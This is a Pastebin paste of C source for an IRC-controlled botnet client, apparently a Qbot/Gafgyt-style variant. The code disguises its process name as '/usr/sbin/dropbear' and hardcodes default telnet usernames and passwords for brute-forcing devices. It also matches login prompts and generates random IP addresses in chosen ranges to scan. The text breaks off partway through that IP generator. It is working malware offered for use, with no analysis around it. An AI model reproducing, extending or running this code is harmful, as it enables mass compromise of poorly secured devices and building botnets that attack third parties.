Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- This Bot is a irc bot, a cancer one too, but thats okay.
- nothing special, its just a simple irc bot modified
- btw, don't come to me saying "the ip gen is garbage", well no shit it's garbage it's using
- fucking ranges
- */
- #undef IDENT
- #define FAKENAME "/usr/sbin/dropbear"
- #define CHAN "#L33T"
- #define KEY ""
- #define PORT "6667"
- #define PASS ""
- #define PREFIX "[Hack]"
- #define PR_SET_NAME 15
- #define PAD_RIGHT 1
- #define PAD_ZERO 2
- #define PRINT_BUF_LEN 12
- #define CMD_IAC 255
- #define CMD_WILL 251
- #define CMD_WONT 252
- #define CMD_DO 253
- #define CMD_DONT 254
- #define OPT_SGA 3
- #include <stdarg.h>
- #include <errno.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <strings.h>
- #include <netinet/in.h>
- #include <unistd.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <signal.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <time.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- #include <netinet/tcp.h>
- #include <netinet/udp.h>
- #include <netinet/ip.h>
- #include <sys/utsname.h>
- int numservers=1;
- char *servers[] = {
- "0.0.0.0",
- (void*)0
- };
- char *payload = "\r\n";
- char *usernames[] = { "root\0", "telnet\0", "admin\0", "root\0", "default\0", "support\0", "root\0", "root\0", "supervisor\0", "admin\0"};
- char *passwords[] = { "1234567890\0", "telnet\0", "vnpt\0", "antslq\0", "\0", "support\0", "\0", "root\0", "zyad1234\0", "admin\0"};
- char *successes[] = {"BusyBox", "$", "#", ">", (char*)0};
- char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
- char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
- char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "$", "#", "BusyBox", ">", (char*)0};
- static uint32_t Q[4096], c = 362436;
- int sock,changeservers=0;
- char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Cheats";
- unsigned int *pids;
- uint32_t scanPid;
- unsigned long spoofs=0, spoofsm=0, numpids=0;
- const char *useragents[] = {
- "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
- "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
- "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
- "Opera/6.04 (Windows XP; U) [en]",
- "Opera/9.99 (X11; U; sk)",
- "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
- "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
- "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
- "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
- "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
- "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
- "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
- "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
- };
- int strwildmatch(unsigned char* pattern, unsigned char* string) {
- switch((unsigned char)*pattern) {
- case '\0': return *string;
- case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case '?': return !(*string && !strwildmatch(pattern+1, string+1));
- default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
- }
- }
- void trim(char *str)
- {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static void printchar(unsigned char **str, int c)
- {
- if (str) {
- **str = c;
- ++(*str);
- }
- else (void)write(1, &c, 1);
- }
- static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
- {
- register int pc = 0, padchar = ' ';
- if (width > 0) {
- register int len = 0;
- register const unsigned char *ptr;
- for (ptr = string; *ptr; ++ptr) ++len;
- if (len >= width) width = 0;
- else width -= len;
- if (pad & PAD_ZERO) padchar = '0';
- }
- if (!(pad & PAD_RIGHT)) {
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- }
- for ( ; *string ; ++string) {
- printchar (out, *string);
- ++pc;
- }
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- return pc;
- }
- static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
- {
- unsigned char print_buf[PRINT_BUF_LEN];
- register unsigned char *s;
- register int t, neg = 0, pc = 0;
- register unsigned int u = i;
- if (i == 0) {
- print_buf[0] = '0';
- print_buf[1] = '\0';
- return prints (out, print_buf, width, pad);
- }
- if (sg && b == 10 && i < 0) {
- neg = 1;
- u = -i;
- }
- s = print_buf + PRINT_BUF_LEN-1;
- *s = '\0';
- while (u) {
- t = u % b;
- if( t >= 10 )
- t += letbase - '0' - 10;
- *--s = t + '0';
- u /= b;
- }
- if (neg) {
- if( width && (pad & PAD_ZERO) ) {
- printchar (out, '-');
- ++pc;
- --width;
- }
- else {
- *--s = '-';
- }
- }
- return pc + prints (out, s, width, pad);
- }
- static int print(unsigned char **out, const unsigned char *format, va_list args )
- {
- register int width, pad;
- register int pc = 0;
- unsigned char scr[2];
- for (; *format != 0; ++format) {
- if (*format == '%') {
- ++format;
- width = pad = 0;
- if (*format == '\0') break;
- if (*format == '%') goto out;
- if (*format == '-') {
- ++format;
- pad = PAD_RIGHT;
- }
- while (*format == '0') {
- ++format;
- pad |= PAD_ZERO;
- }
- for ( ; *format >= '0' && *format <= '9'; ++format) {
- width *= 10;
- width += *format - '0';
- }
- if( *format == 's' ) {
- register char *s = (char *)va_arg( args, int );
- pc += prints (out, s?s:"(null)", width, pad);
- continue;
- }
- if( *format == 'd' ) {
- pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
- continue;
- }
- if( *format == 'x' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'X' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
- continue;
- }
- if( *format == 'u' ) {
- pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'c' ) {
- scr[0] = (unsigned char)va_arg( args, int );
- scr[1] = '\0';
- pc += prints (out, scr, width, pad);
- continue;
- }
- }
- else {
- out:
- printchar (out, *format);
- ++pc;
- }
- }
- if (out) **out = '\0';
- va_end( args );
- return pc;
- }
- int szprintf(unsigned char *out, const unsigned char *format, ...)
- {
- va_list args;
- va_start( args, format );
- return print( &out, format, args );
- }
- int negotiate(int sock, unsigned char *buf, int len)
- {
- unsigned char c;
- switch (buf[1]) {
- case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
- case CMD_WILL:
- case CMD_WONT:
- case CMD_DO:
- case CMD_DONT:
- c = CMD_IAC;
- send(sock, &c, 1, MSG_NOSIGNAL);
- if (CMD_WONT == buf[1]) c = CMD_DONT;
- else if (CMD_DONT == buf[1]) c = CMD_WONT;
- else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
- else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
- send(sock, &c, 1, MSG_NOSIGNAL);
- send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
- break;
- default:
- break;
- }
- return 0;
- }
- int hostname_to_ip(char * hostname , char* ip)
- {
- struct hostent *he;
- struct in_addr **addr_list;
- int i;
- if ( (he = gethostbyname( hostname ) ) == NULL)
- {
- // get the host info
- herror("gethostbyname");
- return 1;
- }
- addr_list = (struct in_addr **) he->h_addr_list;
- for(i = 0; addr_list[i] != NULL; i++)
- {
- //Return the first one;
- strcpy(ip , inet_ntoa(*addr_list[i]) );
- return 0;
- }
- return 1;
- }
- int socket_connect(char *host, in_port_t port) {
- struct hostent *hp;
- struct sockaddr_in addr;
- int on = 1, sock;
- if ((hp = gethostbyname(host)) == NULL) return 0;
- bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
- addr.sin_port = htons(port);
- addr.sin_family = AF_INET;
- sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
- if (sock == -1) return 0;
- if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
- return sock;
- }
- int sclose(int fd)
- {
- if(3 > fd) return 1;
- close(fd);
- return 0;
- }
- int Send(int sock, char *words, ...) {
- static char textBuffer[1024];
- va_list args;
- va_start(args, words);
- vsprintf(textBuffer, words, args);
- va_end(args);
- return write(sock,textBuffer,strlen(textBuffer));
- }
- unsigned int host2ip(char *sender,char *hostname) {
- static struct in_addr i;
- struct hostent *h;
- if((i.s_addr = inet_addr(hostname)) == -1) {
- if((h = gethostbyname(hostname)) == NULL) {
- Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
- exit(0);
- }
- bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
- }
- return i.s_addr;
- }
- int mfork(char *sender) {
- unsigned int parent, *newpids, i;
- if (disabled == 1) {
- Send(sock,"NOTICE %s :Unable to comply.\n",sender);
- return 1;
- }
- parent=fork();
- if (parent <= 0) return parent;
- numpids++;
- newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
- for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
- newpids[numpids-1]=parent;
- free(pids);
- pids=newpids;
- return parent;
- }
- void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
- char *makestring() {
- char *tmp;
- int len=(rand()%5)+4,i;
- FILE *file;
- tmp=(char*)malloc(len+1);
- memset(tmp,0,len+1);
- char *pre;
- if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
- else {
- int a=((rand()*rand())%45402)+1;
- char buf[1024];
- for (i=0;i<a;i++) fgets(buf,1024,file);
- memset(buf,0,1024);
- fgets(buf,1024,file);
- filter(buf);
- memcpy(tmp,buf,len);
- fclose(file);
- }
- return tmp;
- }
- void identd() {
- int sockname,sockfd,sin_size,tmpsock,i;
- struct sockaddr_in my_addr,their_addr;
- char szBuffer[1024];
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
- my_addr.sin_family = AF_INET;
- my_addr.sin_port = htons(6667);
- my_addr.sin_addr.s_addr = INADDR_ANY;
- memset(&(my_addr.sin_zero), 0, 8);
- if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
- if (listen(sockfd, 1) == -1) return;
- if (fork() == 0) return;
- sin_size = sizeof(struct sockaddr_in);
- if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
- for(;;) {
- fd_set bla;
- struct timeval timee;
- FD_ZERO(&bla);
- FD_SET(tmpsock,&bla);
- timee.tv_sec=timee.tv_usec=60;
- if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
- if (FD_ISSET(tmpsock,&bla)) break;
- }
- i = recv(tmpsock,szBuffer,1024,0);
- if (i <= 0 || i >= 20) exit(0);
- szBuffer[i]=0;
- if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
- if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
- Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
- close(tmpsock);
- close(sockfd);
- exit(0);
- }
- int matchPrompt(char *bufStr)
- {
- char *prompts = ":>%$#\0";
- int bufLen = strlen(bufStr);
- int i, q = 0;
- for(i = 0; i < strlen(prompts); i++)
- {
- while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
- if(*(bufStr + bufLen - q) == prompts[i]) return 1;
- }
- return 0;
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (uint32_t)(t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- static uint8_t ipState[5] = {0};
- in_addr_t HackerScan2()
- {
- ipState[1] = 0;
- ipState[2] = 0;
- ipState[3] = 0;
- ipState[4] = 0;
- ipState[1] = rand() % 255;
- ipState[2] = rand() % 255;
- ipState[3] = rand() % 255;
- ipState[4] = rand() % 255;
- int randnum = rand() % 215;
- char ip[16];
- if(randnum == 0)
- {
- szprintf(ip, "96.30.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 1)
- {
- szprintf(ip, "210.213.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 2)
- {
- szprintf(ip, "122.2.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 3)
- {
- szprintf(ip, "122.3.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 4)
- {
- szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 5)
- {
- szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 6)
- {
- szprintf(ip, "119.94.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 7)
- {
- szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 8)
- {
- szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 9)
- {
- szprintf(ip, "119.93.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 10)
- {
- szprintf(ip, "119.92.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 11)
- {
- szprintf(ip, "124.83.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 12)
- {
- szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 13)
- {
- szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 14)
- {
- szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 15)
- {
- szprintf(ip, "122.54.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 16)
- {
- szprintf(ip, "122.53.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 17)
- {
- szprintf(ip, "122.52.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 18)
- {
- szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 19)
- {
- szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 20)
- {
- szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 21)
- {
- szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 22)
- {
- szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 23)
- {
- szprintf(ip, "124.107.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 24)
- {
- szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 25)
- {
- szprintf(ip, "124.106.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 26)
- {
- szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 27)
- {
- szprintf(ip, "124.105.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 28)
- {
- szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 29)
- {
- szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 30)
- {
- szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 31)
- {
- szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 32)
- {
- szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 33)
- {
- szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 35)
- {
- szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 36)
- {
- szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 37)
- {
- szprintf(ip, "124.104.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 38)
- {
- szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 39)
- {
- szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 40)
- {
- szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 41)
- {
- szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 42)
- {
- szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 43)
- {
- szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 44)
- {
- szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 45)
- {
- szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 46)
- {
- szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 47)
- {
- szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 48)
- {
- szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 49)
- {
- szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 50)
- {
- szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 51)
- {
- szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 52)
- {
- szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 53)
- {
- szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 54)
- {
- szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 55)
- {
- szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 56)
- {
- szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 57)
- {
- szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 58)
- {
- szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 59)
- {
- szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 60)
- {
- szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 61)
- {
- szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 62)
- {
- szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 63)
- {
- szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 64)
- {
- szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 65)
- {
- szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 66)
- {
- szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 67)
- {
- szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 68)
- {
- szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 69)
- {
- szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 70)
- {
- szprintf(ip, "89.18.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 71)
- {
- szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 72)
- {
- szprintf(ip, "122.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 73)
- {
- szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 74)
- {
- szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 75)
- {
- szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 76)
- {
- szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 77)
- {
- szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 78)
- {
- szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 79)
- {
- szprintf(ip, "49.144.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 80)
- {
- szprintf(ip, "49.145.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 81)
- {
- szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 82)
- {
- szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 83)
- {
- szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 84)
- {
- szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 85)
- {
- szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 86)
- {
- szprintf(ip, "49.146.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 87)
- {
- szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 88)
- {
- szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 89)
- {
- szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 90)
- {
- szprintf(ip, "185.106.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 91)
- {
- szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 92)
- {
- szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 93)
- {
- szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 94)
- {
- szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 95)
- {
- szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 96)
- {
- szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 97)
- {
- szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 98)
- {
- szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 99)
- {
- szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 100)
- {
- szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 101)
- {
- szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 102)
- {
- szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 103)
- {
- szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 104)
- {
- szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 105)
- {
- szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 106)
- {
- szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 107)
- {
- szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 108)
- {
- szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 109)
- {
- szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 100)
- {
- szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 101)
- {
- szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 102)
- {
- szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 103)
- {
- szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 104)
- {
- szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 105)
- {
- szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 106)
- {
- szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 107)
- {
- szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 108)
- {
- szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 109)
- {
- szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 110)
- {
- szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 111)
- {
- szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 112)
- {
- szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 113)
- {
- szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 114)
- {
- szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 115)
- {
- szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 116)
- {
- szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 117)
- {
- szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 118)
- {
- szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 119)
- {
- szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 120)
- {
- szprintf(ip, "49.147.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 121)
- {
- szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 122)
- {
- szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 123)
- {
- szprintf(ip, "49.148.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 124)
- {
- szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 125)
- {
- szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 126)
- {
- szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 127)
- {
- szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 128)
- {
- szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 129)
- {
- szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 130)
- {
- szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 131)
- {
- szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 132)
- {
- szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 133)
- {
- szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 134)
- {
- szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 135)
- {
- szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 136)
- {
- szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 137)
- {
- szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 138)
- {
- szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 139)
- {
- szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 140)
- {
- szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 141)
- {
- szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 142)
- {
- szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 143)
- {
- szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 144)
- {
- szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 145)
- {
- szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 146)
- {
